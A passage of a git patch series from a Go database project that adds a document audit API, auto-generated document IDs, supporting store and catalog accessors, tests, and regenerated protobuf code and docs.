binary.BigEndian.Uint32(id[12:16]) + require.Equal(t, atomic.AddUint32(&counter, 1), newCounter) + } +} + func BenchmarkHex(b *testing.B) { id := NewDocumentIDFromTx(0) for i := 0; i < b.N; i++ { From 4ad94efb7eef715d652102f493423b836a772347 Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Tue, 21 Mar 2023 14:48:26 +0530 Subject: [PATCH 0358/1062] chore: add document audit api --- embedded/document/engine.go | 230 +++++-- embedded/document/engine_test.go | 101 +-- embedded/sql/catalog.go | 8 + embedded/sql/engine.go | 8 + embedded/sql/stmt.go | 4 + embedded/store/immustore.go | 4 + pkg/api/documentschema/docs.md | 77 +-- pkg/api/documentschema/documentschema.pb.go | 642 ++++++++---------- pkg/api/documentschema/documentschema.proto | 13 +- .../documentschema.swagger.json | 54 +- pkg/database/document_database.go | 77 ++- pkg/database/document_database_test.go | 26 +- pkg/server/db_dummy_closed.go | 4 + 13 files changed, 638 insertions(+), 610 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index 7a42126ab5..ed9cc978f3 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -1,7 +1,9 @@ package document import ( + "bytes" "context" + "encoding/binary" "errors" "fmt" @@ -11,6 +13,8 @@ import ( ) const ( + // Default fields for document store + defaultDocumentIDField = "_id" defaultDocumentBLOBField = "_obj" ) @@ -96,27 +100,13 @@ type Engine struct { } // TODO: Add support for index creation -func (d *Engine) CreateCollection(ctx context.Context, collectionName string, pkeys map[string]sql.SQLValueType, idxKeys map[string]sql.SQLValueType) error { - primaryKeys := make([]string, 0) +func (d *Engine) CreateCollection(ctx context.Context, collectionName string, idxKeys map[string]sql.SQLValueType) error { + primaryKeys := []string{defaultDocumentIDField} indexKeys := make([]string, 0) - columns := make([]*sql.ColSpec, 0, len(pkeys)) + columns := make([]*sql.ColSpec, 0) - // validate collection to contain at least one primary key - if len(pkeys) == 0 { - return fmt.Errorf("collection must have at least one primary key") - } - - // add primary keys - for name, schType := range pkeys { - primaryKeys = append(primaryKeys, name) - // TODO: add support for other types - // TODO: add support for auto increment - colLen, err := valueTypeDefaultLength(schType) - if err != nil { - return fmt.Errorf("primary key specified is not supported: %v", schType) - } - columns = append(columns, sql.NewColSpec(name, schType, colLen, false, false)) - } + // add primary key for document id + columns = append(columns, sql.NewColSpec(defaultDocumentIDField, sql.BLOBType, 32, false, true)) // add columnn for blob, which stores the document as a whole columns = append(columns, sql.NewColSpec(defaultDocumentBLOBField, sql.BLOBType, 0, false, false)) @@ -163,17 +153,17 @@ func (d *Engine) CreateCollection(ctx context.Context, collectionName string, pk return nil } -func (d *Engine) CreateDocument(ctx context.Context, collectionName string, documents []*structpb.Struct) error { +func (d *Engine) CreateDocument(ctx context.Context, collectionName string, doc *structpb.Struct) (DocumentID, error) { tx, err := d.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) if err != nil { - return err + return NilDocumentID, err } defer tx.Cancel() // check if collection exists table, err := tx.Catalog().GetTableByName(d.CurrentDatabase(), collectionName) if err != nil { - return err + return NilDocumentID, err } cols := make([]string, 0) @@ -184,38 +174,48 @@ func (d *Engine) CreateDocument(ctx context.Context, collectionName string, docu cols = append(cols, col.Name()) } - // TODO: should be able to send only a single document - for _, doc := range documents { - values := make([]sql.ValueExp, 0) - for _, col := range tcolumns { - switch col.Name() { - case defaultDocumentBLOBField: - document, err := NewDocumentFrom(doc) - if err != nil { - return err - } - res, err := document.MarshalJSON() + // check if document id is already present + _, ok := doc.Fields[defaultDocumentIDField] + if ok { + return NilDocumentID, fmt.Errorf("_id field is not allowed to be set") + } + + // generate document id + lastPrecommittedTxID := d.GetStore().LastPrecommittedTxID() + docID := NewDocumentIDFromTx(lastPrecommittedTxID) + + values := make([]sql.ValueExp, 0) + for _, col := range tcolumns { + switch col.Name() { + case defaultDocumentIDField: + // add document id to document + values = append(values, sql.NewBlob(docID[:])) + case defaultDocumentBLOBField: + document, err := NewDocumentFrom(doc) + if err != nil { + return NilDocumentID, err + } + res, err := document.MarshalJSON() + if err != nil { + return NilDocumentID, err + } + values = append(values, sql.NewBlob(res)) + default: + if rval, ok := doc.Fields[col.Name()]; ok { + valType, err := valueTypeToExp(col.Type(), rval) if err != nil { - return err - } - values = append(values, sql.NewBlob(res)) - default: - if rval, ok := doc.Fields[col.Name()]; ok { - valType, err := valueTypeToExp(col.Type(), rval) - if err != nil { - return err - } - values = append(values, valType) + return NilDocumentID, err } + values = append(values, valType) } } + } - if len(values) > 0 { - rows = append(rows, sql.NewRowSpec(values)) - } + if len(values) > 0 { + rows = append(rows, sql.NewRowSpec(values)) } - // add documents to collection + // add document to collection _, _, err = d.ExecPreparedStmts( ctx, nil, @@ -230,8 +230,11 @@ func (d *Engine) CreateDocument(ctx context.Context, collectionName string, docu }, nil, ) + if err != nil { + return NilDocumentID, err + } - return err + return docID, nil } func (d *Engine) ListCollections(ctx context.Context) (map[string][]*sql.Index, error) { @@ -390,3 +393,134 @@ func (d *Engine) GetDocument(ctx context.Context, collectionName string, queries return results, nil } + +type Audit struct { + Value []byte + TxID uint64 +} + +// DocumentAudit returns the audit history of a document. +func (d *Engine) DocumentAudit(ctx context.Context, collectionName string, documentID DocumentID, maxCount int) ([]*Audit, error) { + tx, err := d.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) + if err != nil { + return nil, err + } + defer tx.Cancel() + + table, err := tx.Catalog().GetTableByName(d.CurrentDatabase(), collectionName) + if err != nil { + return nil, err + } + + var searchKey []byte + + valbuf := bytes.Buffer{} + for _, col := range table.PrimaryIndex().Cols() { + if col.Name() == defaultDocumentIDField { + rval := sql.NewBlob(documentID[:]) + encVal, err := sql.EncodeAsKey(rval.Value(), col.Type(), col.MaxLen()) + if err != nil { + return nil, err + } + _, err = valbuf.Write(encVal) + if err != nil { + return nil, err + } + } + } + pkEncVals := valbuf.Bytes() + + searchKey = sql.MapKey( + d.GetPrefix(), + sql.PIndexPrefix, + sql.EncodeID(table.Database().ID()), + sql.EncodeID(table.ID()), + sql.EncodeID(table.PrimaryIndex().ID()), + pkEncVals, + ) + + txs, _, err := d.GetStore().History(searchKey, 0, false, maxCount) + if err != nil { + return nil, err + } + + results := make([]*Audit, 0) + for _, txID := range txs { + res, err := d.getValueAt(searchKey, txID, d.GetStore(), false) + if err != nil { + return nil, err + } + + v := res.Value + voff := 0 + + cols := int(binary.BigEndian.Uint32(v[voff:])) + voff += sql.EncLenLen + + for i := 0; i < cols; i++ { + colID := binary.BigEndian.Uint32(v[voff:]) + voff += sql.EncIDLen + + col, err := table.GetColumnByID(colID) + if err != nil { + return nil, err + } + + val, n, err := sql.DecodeValue(v[voff:], sql.BLOBType) + if col.Name() == defaultDocumentBLOBField { + res.Value = val.Value().([]byte) + break + } + voff += n + } + + results = append(results, res) + } + + return results, nil +} + +func (d *Engine) getValueAt(key []byte, atTx uint64, index store.KeyIndex, skipIntegrityCheck bool) (entry *Audit, err error) { + var txID uint64 + var val []byte + + if atTx == 0 { + valRef, err := index.Get(key) + if err != nil { + return nil, err + } + + txID = valRef.Tx() + + val, err = valRef.Resolve() + if err != nil { + return nil, err + } + } else { + txID = atTx + _, val, err = d.readMetadataAndValue(key, atTx, skipIntegrityCheck) + if err != nil { + return nil, err + } + } + + return &Audit{ + TxID: txID, + Value: val, + }, err +} + +func (d *Engine) readMetadataAndValue(key []byte, atTx uint64, skipIntegrityCheck bool) (*store.KVMetadata, []byte, error) { + store := d.GetStore() + entry, _, err := store.ReadTxEntry(atTx, key, skipIntegrityCheck) + if err != nil { + return nil, nil, err + } + + v, err := store.ReadValue(entry) + if err != nil { + return nil, nil, err + } + + return entry.Metadata(), v, nil +} diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index 2d2e5f1bf3..59e6e45fea 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -48,11 +48,8 @@ func TestListCollections(t *testing.T) { context.Background(), collectionName, map[string]sql.SQLValueType{ - "id": sql.IntegerType, - "number": sql.IntegerType, - "name": sql.BLOBType, - }, - map[string]sql.SQLValueType{ + "number": sql.IntegerType, + "name": sql.BLOBType, "pin": sql.IntegerType, "country": sql.VarcharType, }, @@ -67,9 +64,9 @@ func TestListCollections(t *testing.T) { for _, indexes := range collectionList { for _, index := range indexes { if index.IsPrimary() { - require.Equal(t, 3, len(index.Cols())) + require.Equal(t, 1, len(index.Cols())) } else { - require.Equal(t, 2, len(index.Cols())) + require.Equal(t, 4, len(index.Cols())) } } } @@ -83,11 +80,8 @@ func TestCreateCollection(t *testing.T) { context.Background(), collectionName, map[string]sql.SQLValueType{ - "id": sql.IntegerType, - "number": sql.IntegerType, - "name": sql.VarcharType, - }, - map[string]sql.SQLValueType{ + "number": sql.IntegerType, + "name": sql.VarcharType, "pin": sql.IntegerType, "country": sql.VarcharType, }, @@ -102,8 +96,8 @@ func TestCreateCollection(t *testing.T) { require.Equal(t, collectionName, table.Name()) - pcols := []string{"id", "number", "name"} - idxcols := []string{"pin", "country"} + pcols := []string{"_id"} + idxcols := []string{"pin", "country", "number", "name"} // verify primary keys for _, col := range pcols { @@ -134,8 +128,8 @@ func TestCreateCollection(t *testing.T) { indexKeyCount += len(idx.Cols()) } } - require.Equal(t, 3, primaryKeyCount) - require.Equal(t, 2, indexKeyCount) + require.Equal(t, 1, primaryKeyCount) + require.Equal(t, 4, indexKeyCount) } func newIndexOption(indexType schemav2.IndexType) *schemav2.IndexOption { @@ -148,38 +142,31 @@ func TestGetDocument(t *testing.T) { // create collection collectionName := "mycollection" err := engine.CreateCollection(context.Background(), collectionName, map[string]sql.SQLValueType{ - "id": sql.IntegerType, "pincode": sql.IntegerType, "country": sql.VarcharType, "data": sql.BLOBType, - }, nil) + }) require.NoError(t, err) require.NoError(t, err) // add document to collection - err = engine.CreateDocument(context.Background(), collectionName, []*structpb.Struct{ - { - Fields: map[string]*structpb.Value{ - "id": { - Kind: &structpb.Value_NumberValue{NumberValue: 1}, - }, - "pincode": { - Kind: &structpb.Value_NumberValue{NumberValue: 2}, - }, - "country": { - Kind: &structpb.Value_StringValue{StringValue: "wonderland"}, - }, - "data": { - Kind: &structpb.Value_StructValue{StructValue: &structpb.Struct{ - Fields: map[string]*structpb.Value{ - "key1": {Kind: &structpb.Value_StringValue{StringValue: "value1"}}, - }, - }}, - }, + _, err = engine.CreateDocument(context.Background(), collectionName, &structpb.Struct{ + Fields: map[string]*structpb.Value{ + "pincode": { + Kind: &structpb.Value_NumberValue{NumberValue: 2}, + }, + "country": { + Kind: &structpb.Value_StringValue{StringValue: "wonderland"}, + }, + "data": { + Kind: &structpb.Value_StructValue{StructValue: &structpb.Struct{ + Fields: map[string]*structpb.Value{ + "key1": {Kind: &structpb.Value_StringValue{StringValue: "value1"}}, + }, + }}, }, }, - }, - ) + }) require.NoError(t, err) expressions := []*Query{ @@ -203,3 +190,39 @@ func TestGetDocument(t *testing.T) { require.NoError(t, err) require.Equal(t, 1, len(doc)) } + +func TestDocumentAudit(t *testing.T) { + engine := makeEngine(t) + + // create collection + collectionName := "mycollection" + err := engine.CreateCollection(context.Background(), collectionName, map[string]sql.SQLValueType{ + "pincode": sql.IntegerType, + "country": sql.VarcharType, + }) + require.NoError(t, err) + require.NoError(t, err) + + // add document to collection + docID, err := engine.CreateDocument(context.Background(), collectionName, &structpb.Struct{ + Fields: map[string]*structpb.Value{ + "pincode": { + Kind: &structpb.Value_NumberValue{NumberValue: 2}, + }, + "country": { + Kind: &structpb.Value_StringValue{StringValue: "wonderland"}, + }, + }, + }) + require.NoError(t, err) + + // get document audit + res, err := engine.DocumentAudit(context.Background(), collectionName, docID, 10) + require.NoError(t, err) + require.Equal(t, 1, len(res)) + + // verify audit result + val := string(res[0].Value) + require.Contains(t, val, "pincode") + require.Contains(t, val, "country") +} diff --git a/embedded/sql/catalog.go b/embedded/sql/catalog.go index 4c298528c6..8208c26a09 100644 --- a/embedded/sql/catalog.go +++ b/embedded/sql/catalog.go @@ -229,6 +229,10 @@ func (t *Table) GetColumnByID(id uint32) (*Column, error) { return col, nil } +func (t *Table) ColumnsByID() map[uint32]*Column { + return t.colsByID +} + func (t *Table) GetIndexes() []*Index { return t.indexes } @@ -283,6 +287,10 @@ func (i *Index) Name() string { return indexName(i.table.name, i.cols) } +func (i *Index) ID() uint32 { + return i.id +} + func indexName(tableName string, cols []*Column) string { var buf strings.Builder diff --git a/embedded/sql/engine.go b/embedded/sql/engine.go index 7f8e12daca..b5632b9e81 100644 --- a/embedded/sql/engine.go +++ b/embedded/sql/engine.go @@ -502,6 +502,14 @@ func (e *Engine) CopyCatalogToTx(ctx context.Context, tx *store.OngoingTx) error return nil } +func (e *Engine) GetStore() *store.ImmuStore { + return e.store +} + +func (e *Engine) GetPrefix() []byte { + return e.prefix +} + // addSchemaToTx adds the schema to the ongoing transaction. func (t *Table) addIndexesToTx(sqlPrefix []byte, tx *store.OngoingTx) error { initialKey := mapKey(sqlPrefix, catalogIndexPrefix, EncodeID(t.db.id), EncodeID(t.id)) diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index 5e24489fd9..91a15eaa3d 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -878,6 +878,10 @@ func (tx *SQLTx) doUpsert(ctx context.Context, pkEncVals []byte, valuesByColID m return nil } +func EncodedPK(table *Table, valuesByColID map[uint32]TypedValue) ([]byte, error) { + return encodedPK(table, valuesByColID) +} + func encodedPK(table *Table, valuesByColID map[uint32]TypedValue) ([]byte, error) { valbuf := bytes.Buffer{} diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index 254e62b8f0..c382853294 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -1306,6 +1306,10 @@ func (s *ImmuStore) lastPrecommittedTxID() uint64 { return s.inmemPrecommittedTxID } +func (s *ImmuStore) LastPrecommittedTxID() uint64 { + return s.lastPrecommittedTxID() +} + func (s *ImmuStore) performPrecommit(tx *Tx, ts int64, blTxID uint64) error { s.commitStateRWMutex.Lock() defer s.commitStateRWMutex.Unlock() diff --git a/pkg/api/documentschema/docs.md b/pkg/api/documentschema/docs.md index dd6f5e8e18..440fe250c0 100644 --- a/pkg/api/documentschema/docs.md +++ b/pkg/api/documentschema/docs.md @@ -6,7 +6,6 @@ - [documentschema.proto](#documentschema.proto) - [CollectionCreateRequest](#immudb.documentschema.CollectionCreateRequest) - [CollectionCreateRequest.IndexKeysEntry](#immudb.documentschema.CollectionCreateRequest.IndexKeysEntry) - - [CollectionCreateRequest.PrimaryKeysEntry](#immudb.documentschema.CollectionCreateRequest.PrimaryKeysEntry) - [CollectionCreateResponse](#immudb.documentschema.CollectionCreateResponse) - [CollectionDeleteRequest](#immudb.documentschema.CollectionDeleteRequest) - [CollectionDeleteResponse](#immudb.documentschema.CollectionDeleteResponse) @@ -14,17 +13,14 @@ - [CollectionGetResponse](#immudb.documentschema.CollectionGetResponse) - [CollectionInformation](#immudb.documentschema.CollectionInformation) - [CollectionInformation.IndexKeysEntry](#immudb.documentschema.CollectionInformation.IndexKeysEntry) - - [CollectionInformation.PrimaryKeysEntry](#immudb.documentschema.CollectionInformation.PrimaryKeysEntry) - [CollectionListRequest](#immudb.documentschema.CollectionListRequest) - [CollectionListResponse](#immudb.documentschema.CollectionListResponse) - [DocumentAudit](#immudb.documentschema.DocumentAudit) - [DocumentAuditRequest](#immudb.documentschema.DocumentAuditRequest) - - [DocumentAuditRequest.PrimaryKeysEntry](#immudb.documentschema.DocumentAuditRequest.PrimaryKeysEntry) - [DocumentAuditResponse](#immudb.documentschema.DocumentAuditResponse) - [DocumentInsertRequest](#immudb.documentschema.DocumentInsertRequest) - [DocumentInsertResponse](#immudb.documentschema.DocumentInsertResponse) - [DocumentProofRequest](#immudb.documentschema.DocumentProofRequest) - - [DocumentProofRequest.PrimaryKeysEntry](#immudb.documentschema.DocumentProofRequest.PrimaryKeysEntry) - [DocumentProofResponse](#immudb.documentschema.DocumentProofResponse) - [DocumentQuery](#immudb.documentschema.DocumentQuery) - [DocumentSearchRequest](#immudb.documentschema.DocumentSearchRequest) @@ -58,7 +54,6 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | name | [string](#string) | | | -| primaryKeys | [CollectionCreateRequest.PrimaryKeysEntry](#immudb.documentschema.CollectionCreateRequest.PrimaryKeysEntry) | repeated | | | indexKeys | [CollectionCreateRequest.IndexKeysEntry](#immudb.documentschema.CollectionCreateRequest.IndexKeysEntry) | repeated | | @@ -82,22 +77,6 @@ - - -### CollectionCreateRequest.PrimaryKeysEntry - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| key | [string](#string) | | | -| value | [IndexOption](#immudb.documentschema.IndexOption) | | | - - - - - - ### CollectionCreateResponse @@ -177,7 +156,6 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | name | [string](#string) | | | -| primaryKeys | [CollectionInformation.PrimaryKeysEntry](#immudb.documentschema.CollectionInformation.PrimaryKeysEntry) | repeated | | | indexKeys | [CollectionInformation.IndexKeysEntry](#immudb.documentschema.CollectionInformation.IndexKeysEntry) | repeated | | @@ -201,22 +179,6 @@ - - -### CollectionInformation.PrimaryKeysEntry - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| key | [string](#string) | | | -| value | [IndexOption](#immudb.documentschema.IndexOption) | | | - - - - - - ### CollectionListRequest @@ -267,7 +229,7 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | collection | [string](#string) | | | -| primaryKeys | [DocumentAuditRequest.PrimaryKeysEntry](#immudb.documentschema.DocumentAuditRequest.PrimaryKeysEntry) | repeated | | +| documentId | [string](#string) | | | | page | [uint32](#uint32) | | | | perPage | [uint32](#uint32) | | | @@ -276,22 +238,6 @@ - - -### DocumentAuditRequest.PrimaryKeysEntry - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| key | [string](#string) | | | -| value | [IndexValue](#immudb.documentschema.IndexValue) | | | - - - - - - ### DocumentAuditResponse @@ -319,7 +265,7 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | collection | [string](#string) | | | -| document | [google.protobuf.Struct](#google.protobuf.Struct) | repeated | | +| document | [google.protobuf.Struct](#google.protobuf.Struct) | | | @@ -335,6 +281,7 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | proof | [immudb.schema.VerifiableTx](#immudb.schema.VerifiableTx) | | | +| documentId | [string](#string) | | | @@ -350,7 +297,7 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | collection | [string](#string) | | | -| primaryKeys | [DocumentProofRequest.PrimaryKeysEntry](#immudb.documentschema.DocumentProofRequest.PrimaryKeysEntry) | repeated | | +| documentId | [string](#string) | | | | atRevision | [int64](#int64) | | | @@ -358,22 +305,6 @@ - - -### DocumentProofRequest.PrimaryKeysEntry - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| key | [string](#string) | | | -| value | [IndexValue](#immudb.documentschema.IndexValue) | | | - - - - - - ### DocumentProofResponse diff --git a/pkg/api/documentschema/documentschema.pb.go b/pkg/api/documentschema/documentschema.pb.go index 315f2e0fa4..235b757b40 100644 --- a/pkg/api/documentschema/documentschema.pb.go +++ b/pkg/api/documentschema/documentschema.pb.go @@ -16,19 +16,19 @@ // Code generated by protoc-gen-go. DO NOT EDIT. // versions: // protoc-gen-go v1.28.0 -// protoc v3.12.4 +// protoc v3.21.9 // source: documentschema.proto package documentschema import ( schema "github.com/codenotary/immudb/pkg/api/schema" - _ "github.com/golang/protobuf/ptypes/empty" - _struct "github.com/golang/protobuf/ptypes/struct" _ "github.com/grpc-ecosystem/grpc-gateway/protoc-gen-swagger/options" _ "google.golang.org/genproto/googleapis/api/annotations" protoreflect "google.golang.org/protobuf/reflect/protoreflect" protoimpl "google.golang.org/protobuf/runtime/protoimpl" + _ "google.golang.org/protobuf/types/known/emptypb" + structpb "google.golang.org/protobuf/types/known/structpb" reflect "reflect" sync "sync" ) @@ -152,8 +152,8 @@ type DocumentInsertRequest struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` - Document []*_struct.Struct `protobuf:"bytes,2,rep,name=document,proto3" json:"document,omitempty"` + Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` + Document *structpb.Struct `protobuf:"bytes,2,opt,name=document,proto3" json:"document,omitempty"` } func (x *DocumentInsertRequest) Reset() { @@ -195,7 +195,7 @@ func (x *DocumentInsertRequest) GetCollection() string { return "" } -func (x *DocumentInsertRequest) GetDocument() []*_struct.Struct { +func (x *DocumentInsertRequest) GetDocument() *structpb.Struct { if x != nil { return x.Document } @@ -207,7 +207,8 @@ type DocumentInsertResponse struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Proof *schema.VerifiableTx `protobuf:"bytes,1,opt,name=proof,proto3" json:"proof,omitempty"` + Proof *schema.VerifiableTx `protobuf:"bytes,1,opt,name=proof,proto3" json:"proof,omitempty"` + DocumentId string `protobuf:"bytes,2,opt,name=documentId,proto3" json:"documentId,omitempty"` } func (x *DocumentInsertResponse) Reset() { @@ -249,6 +250,13 @@ func (x *DocumentInsertResponse) GetProof() *schema.VerifiableTx { return nil } +func (x *DocumentInsertResponse) GetDocumentId() string { + if x != nil { + return x.DocumentId + } + return "" +} + type IndexValue struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -302,11 +310,11 @@ func (m *IndexValue) GetKind() isIndexValue_Kind { return nil } -func (x *IndexValue) GetNullValue() _struct.NullValue { +func (x *IndexValue) GetNullValue() structpb.NullValue { if x, ok := x.GetKind().(*IndexValue_NullValue); ok { return x.NullValue } - return _struct.NullValue(0) + return structpb.NullValue(0) } func (x *IndexValue) GetNumberValue() float64 { @@ -335,7 +343,7 @@ type isIndexValue_Kind interface { } type IndexValue_NullValue struct { - NullValue _struct.NullValue `protobuf:"varint,1,opt,name=null_value,json=nullValue,proto3,enum=google.protobuf.NullValue,oneof"` + NullValue structpb.NullValue `protobuf:"varint,1,opt,name=null_value,json=nullValue,proto3,enum=google.protobuf.NullValue,oneof"` } type IndexValue_NumberValue struct { @@ -363,9 +371,9 @@ type DocumentQuery struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Field string `protobuf:"bytes,1,opt,name=field,proto3" json:"field,omitempty"` - Operator QueryOperator `protobuf:"varint,2,opt,name=operator,proto3,enum=immudb.documentschema.QueryOperator" json:"operator,omitempty"` - Value *_struct.Value `protobuf:"bytes,3,opt,name=value,proto3" json:"value,omitempty"` + Field string `protobuf:"bytes,1,opt,name=field,proto3" json:"field,omitempty"` + Operator QueryOperator `protobuf:"varint,2,opt,name=operator,proto3,enum=immudb.documentschema.QueryOperator" json:"operator,omitempty"` + Value *structpb.Value `protobuf:"bytes,3,opt,name=value,proto3" json:"value,omitempty"` } func (x *DocumentQuery) Reset() { @@ -414,7 +422,7 @@ func (x *DocumentQuery) GetOperator() QueryOperator { return QueryOperator_EQ } -func (x *DocumentQuery) GetValue() *_struct.Value { +func (x *DocumentQuery) GetValue() *structpb.Value { if x != nil { return x.Value } @@ -497,10 +505,10 @@ type DocumentSearchResponse struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Results []*_struct.Struct `protobuf:"bytes,1,rep,name=results,proto3" json:"results,omitempty"` - Page uint32 `protobuf:"varint,2,opt,name=page,proto3" json:"page,omitempty"` - PerPage uint32 `protobuf:"varint,3,opt,name=perPage,proto3" json:"perPage,omitempty"` - EntriesLeft uint32 `protobuf:"varint,4,opt,name=entriesLeft,proto3" json:"entriesLeft,omitempty"` + Results []*structpb.Struct `protobuf:"bytes,1,rep,name=results,proto3" json:"results,omitempty"` + Page uint32 `protobuf:"varint,2,opt,name=page,proto3" json:"page,omitempty"` + PerPage uint32 `protobuf:"varint,3,opt,name=perPage,proto3" json:"perPage,omitempty"` + EntriesLeft uint32 `protobuf:"varint,4,opt,name=entriesLeft,proto3" json:"entriesLeft,omitempty"` } func (x *DocumentSearchResponse) Reset() { @@ -535,7 +543,7 @@ func (*DocumentSearchResponse) Descriptor() ([]byte, []int) { return file_documentschema_proto_rawDescGZIP(), []int{5} } -func (x *DocumentSearchResponse) GetResults() []*_struct.Struct { +func (x *DocumentSearchResponse) GetResults() []*structpb.Struct { if x != nil { return x.Results } @@ -568,9 +576,9 @@ type DocumentProofRequest struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` - PrimaryKeys map[string]*IndexValue `protobuf:"bytes,2,rep,name=primaryKeys,proto3" json:"primaryKeys,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"` - AtRevision int64 `protobuf:"varint,3,opt,name=atRevision,proto3" json:"atRevision,omitempty"` + Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` + DocumentId string `protobuf:"bytes,2,opt,name=documentId,proto3" json:"documentId,omitempty"` + AtRevision int64 `protobuf:"varint,3,opt,name=atRevision,proto3" json:"atRevision,omitempty"` } func (x *DocumentProofRequest) Reset() { @@ -612,11 +620,11 @@ func (x *DocumentProofRequest) GetCollection() string { return "" } -func (x *DocumentProofRequest) GetPrimaryKeys() map[string]*IndexValue { +func (x *DocumentProofRequest) GetDocumentId() string { if x != nil { - return x.PrimaryKeys + return x.DocumentId } - return nil + return "" } func (x *DocumentProofRequest) GetAtRevision() int64 { @@ -678,10 +686,10 @@ type DocumentAuditRequest struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` - PrimaryKeys map[string]*IndexValue `protobuf:"bytes,2,rep,name=primaryKeys,proto3" json:"primaryKeys,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"` - Page uint32 `protobuf:"varint,3,opt,name=page,proto3" json:"page,omitempty"` - PerPage uint32 `protobuf:"varint,4,opt,name=perPage,proto3" json:"perPage,omitempty"` + Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` + DocumentId string `protobuf:"bytes,2,opt,name=documentId,proto3" json:"documentId,omitempty"` + Page uint32 `protobuf:"varint,3,opt,name=page,proto3" json:"page,omitempty"` + PerPage uint32 `protobuf:"varint,4,opt,name=perPage,proto3" json:"perPage,omitempty"` } func (x *DocumentAuditRequest) Reset() { @@ -723,11 +731,11 @@ func (x *DocumentAuditRequest) GetCollection() string { return "" } -func (x *DocumentAuditRequest) GetPrimaryKeys() map[string]*IndexValue { +func (x *DocumentAuditRequest) GetDocumentId() string { if x != nil { - return x.PrimaryKeys + return x.DocumentId } - return nil + return "" } func (x *DocumentAuditRequest) GetPage() uint32 { @@ -820,8 +828,8 @@ type DocumentAudit struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Value *_struct.Struct `protobuf:"bytes,1,opt,name=value,proto3" json:"value,omitempty"` - TransactionID uint64 `protobuf:"varint,2,opt,name=transactionID,proto3" json:"transactionID,omitempty"` + Value *structpb.Struct `protobuf:"bytes,1,opt,name=value,proto3" json:"value,omitempty"` + TransactionID uint64 `protobuf:"varint,2,opt,name=transactionID,proto3" json:"transactionID,omitempty"` } func (x *DocumentAudit) Reset() { @@ -856,7 +864,7 @@ func (*DocumentAudit) Descriptor() ([]byte, []int) { return file_documentschema_proto_rawDescGZIP(), []int{10} } -func (x *DocumentAudit) GetValue() *_struct.Struct { +func (x *DocumentAudit) GetValue() *structpb.Struct { if x != nil { return x.Value } @@ -922,9 +930,8 @@ type CollectionCreateRequest struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` - PrimaryKeys map[string]*IndexOption `protobuf:"bytes,2,rep,name=primaryKeys,proto3" json:"primaryKeys,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"` - IndexKeys map[string]*IndexOption `protobuf:"bytes,3,rep,name=indexKeys,proto3" json:"indexKeys,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"` + Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` + IndexKeys map[string]*IndexOption `protobuf:"bytes,2,rep,name=indexKeys,proto3" json:"indexKeys,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"` } func (x *CollectionCreateRequest) Reset() { @@ -966,13 +973,6 @@ func (x *CollectionCreateRequest) GetName() string { return "" } -func (x *CollectionCreateRequest) GetPrimaryKeys() map[string]*IndexOption { - if x != nil { - return x.PrimaryKeys - } - return nil -} - func (x *CollectionCreateRequest) GetIndexKeys() map[string]*IndexOption { if x != nil { return x.IndexKeys @@ -1032,9 +1032,8 @@ type CollectionInformation struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` - PrimaryKeys map[string]*IndexOption `protobuf:"bytes,2,rep,name=primaryKeys,proto3" json:"primaryKeys,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"` - IndexKeys map[string]*IndexOption `protobuf:"bytes,3,rep,name=indexKeys,proto3" json:"indexKeys,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" 